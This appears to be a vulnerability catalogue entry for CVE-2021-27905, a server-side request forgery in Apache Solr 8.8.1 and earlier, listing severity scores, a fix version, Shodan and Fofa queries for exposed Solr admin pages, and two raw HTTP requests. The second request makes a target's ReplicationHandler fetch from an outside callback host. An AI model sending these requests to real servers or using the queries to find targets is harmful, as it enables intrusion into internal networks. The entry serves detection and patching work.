| Title | Apache Solr <=8.8.1 - Server-Side Request Forgery |
|---|---|
| Author | hackergautam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution. |
| Remediation | This issue is resolved in Apache Solr 8.8.2 and later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93901 |
| CVE ID | CVE-2021-27905 |
| CWE ID | CWE-918 |
| Shodan Query | cpe:"cpe:2.3:a:apache:solr"http.title:"apache solr"http.title:"solr admin" |
| Fofa Query | title="solr admin"title="apache solr" |
| Tags | cve2021 cve apache solr ssrf vuln |
Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler (normally registered at “/replication” under a Solr core) in Apache Solr has a “masterUrl” (also “leaderUrl” alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the “shards” parameter.
GET /solr/admin/cores?wt=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Language: en
Connection: close
Accept-Encoding: gzip
GET /solr/e35Avs/replication/?command=fetchindex&masterUrl=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Accept-Language: en
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27905.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27905.pcap
N/AN/A